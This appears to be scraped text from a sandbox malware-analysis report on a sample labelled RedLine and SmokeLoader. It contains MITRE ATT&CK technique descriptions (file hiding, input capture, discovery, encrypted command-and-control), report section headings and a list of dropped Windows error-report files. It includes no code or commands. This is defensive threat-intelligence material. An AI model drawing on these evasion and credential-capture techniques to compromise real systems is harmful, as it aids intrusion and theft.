Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Threatname: SmokeLoader

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_123.exe_c9390c262dc777a5b894ef3ffc53f93451ba6f7_663869f4_1827d9e5\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_321.exe_92fdfb5abace6f3e9e492756c4d129f488d36d2_db58721d_1873da13\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB6EB.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB854.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB920.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE2F.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF59.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBFB7.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre